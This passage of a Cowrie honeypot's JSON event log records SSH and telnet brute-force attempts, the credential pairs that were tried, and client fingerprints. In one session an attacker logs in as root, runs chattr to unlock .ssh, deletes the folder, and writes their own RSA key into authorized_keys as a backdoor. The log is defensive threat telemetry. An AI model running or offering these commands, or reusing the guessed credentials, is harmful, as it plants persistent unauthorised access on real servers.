-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:26:26.622354Z","src_ip":"118.26.39.178","session":"98d2c4edfe49","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:26:27.517242Z","src_ip":"118.26.39.178","session":"98d2c4edfe49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:26:27.735300Z","src_ip":"118.26.39.178","session":"8a5113921044","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:26:27.738893Z","src_ip":"118.26.39.178","session":"98d2c4edfe49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.171.147.227","src_port":56564,"dst_ip":"10.17.0.5","dst_port":22,"session":"d322f30a3779","protocol":"ssh","message":"New connection: 183.171.147.227:56564 (10.17.0.5:22) [session: d322f30a3779]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:26:29.520933Z"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":53472,"dst_ip":"159.203.135.109","dst_port":22,"session":"f80a3b3b12c1","protocol":"ssh","message":"New connection: 171.25.158.70:53472 (159.203.135.109:22) [session: f80a3b3b12c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:26:31.307899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:26:31.312492Z","src_ip":"171.25.158.70","session":"f80a3b3b12c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:26:31.424698Z","src_ip":"171.25.158.70","session":"f80a3b3b12c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:26:31.462073Z","src_ip":"183.171.147.227","session":"d322f30a3779","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.8.226.227","src_port":39791,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9733516f8ee","protocol":"ssh","message":"New connection: 217.8.226.227:39791 (10.17.0.5:22) [session: d9733516f8ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:26:31.536666Z"}
{"eventid":"cowrie.login.failed","username":"mobile","password":"mobilepass","message":"login attempt [mobile/mobilepass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:26:31.920937Z","src_ip":"171.25.158.70","session":"f80a3b3b12c1","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_7.4","message":"Remote SSH version: SSH-2.0-OpenSSH_7.4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:26:31.935066Z","src_ip":"217.8.226.227","session":"d9733516f8ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"acaa53e0a7d7ac7d1255103f37901306","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,ext-info-c;des,3des,blowfish,none,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,arcfour128,arcfour256,aes128-cbc,aes192-cbc,aes256-cbc,rijndael-cbc@lysator.liu.se,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-512,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-ripemd160-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","ext-info-c"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss","ssh-dss-cert-v01@openssh.com"],"encCS":["des","3des","blowfish","none","3des-cbc","blowfish-cbc","cast128-cbc","arcfour","arcfour128","arcfour256","aes128-cbc","aes192-cbc","aes256-cbc","rijndael-cbc@lysator.liu.se","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-512","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-ripemd160-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: acaa53e0a7d7ac7d1255103f37901306","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:26:31.938871Z","src_ip":"217.8.226.227","session":"d9733516f8ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:26:33.204757Z","src_ip":"171.25.158.70","session":"f80a3b3b12c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"abcd1234","message":"login attempt [testuser/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:26:33.530009Z","src_ip":"217.8.226.227","session":"d9733516f8ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:26:34.966596Z","src_ip":"217.8.226.227","session":"d9733516f8ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":44764,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fa76a9339be","protocol":"ssh","message":"New connection: 92.118.39.92:44764 (159.203.135.109:22) [session: 6fa76a9339be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:26:52.285370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:26:52.301530Z","src_ip":"92.118.39.92","session":"6fa76a9339be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:26:52.422751Z","src_ip":"92.118.39.92","session":"6fa76a9339be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student","message":"login attempt [student/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:26:52.800015Z","src_ip":"92.118.39.92","session":"6fa76a9339be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:26:53.907519Z","src_ip":"92.118.39.92","session":"6fa76a9339be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":47594,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf80408fe479","protocol":"ssh","message":"New connection: 195.178.110.218:47594 (10.17.0.5:22) [session: cf80408fe479]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:27:05.116806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:27:05.121538Z","src_ip":"195.178.110.218","session":"cf80408fe479","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:27:05.201239Z","src_ip":"195.178.110.218","session":"cf80408fe479","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:27:05.439209Z","src_ip":"195.178.110.218","session":"cf80408fe479","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:27:06.521212Z","src_ip":"195.178.110.218","session":"cf80408fe479","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.174","src_port":48302,"dst_ip":"10.17.0.5","dst_port":23,"session":"939317fe7678","protocol":"telnet","message":"New connection: 130.12.180.174:48302 (10.17.0.5:23) [session: 939317fe7678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:28:14.334418Z"}
{"eventid":"cowrie.session.closed","duration":0.5079901218414307,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:28:14.842323Z","src_ip":"130.12.180.174","session":"939317fe7678","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":34298,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d21db806ec8","protocol":"ssh","message":"New connection: 80.94.92.168:34298 (159.203.135.109:22) [session: 4d21db806ec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:28:17.081157Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:28:17.200466Z","src_ip":"80.94.92.168","session":"4d21db806ec8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":42702,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc392dfd4747","protocol":"ssh","message":"New connection: 171.25.158.70:42702 (159.203.135.109:22) [session: fc392dfd4747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:28:23.922537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:28:23.926917Z","src_ip":"171.25.158.70","session":"fc392dfd4747","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:28:24.097188Z","src_ip":"171.25.158.70","session":"fc392dfd4747","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1234.com","message":"login attempt [root/1234.com] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:28:24.705239Z","src_ip":"171.25.158.70","session":"fc392dfd4747","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:28:24.976970Z","src_ip":"171.25.158.70","session":"fc392dfd4747","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:28:24.979868Z","src_ip":"171.25.158.70","session":"fc392dfd4747","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:28:24.983477Z","src_ip":"171.25.158.70","session":"fc392dfd4747","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:28:25.107542Z","src_ip":"171.25.158.70","session":"fc392dfd4747","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:28:25.384601Z","src_ip":"171.25.158.70","session":"fc392dfd4747","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:28:25.387770Z","src_ip":"171.25.158.70","session":"fc392dfd4747","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:28:25.512830Z","src_ip":"171.25.158.70","session":"fc392dfd4747","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:28:25.516680Z","src_ip":"171.25.158.70","session":"fc392dfd4747","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":42716,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e0cfe3b8a67","protocol":"ssh","message":"New connection: 171.25.158.70:42716 (159.203.135.109:22) [session: 3e0cfe3b8a67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:28:25.640419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:28:25.644951Z","src_ip":"171.25.158.70","session":"3e0cfe3b8a67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 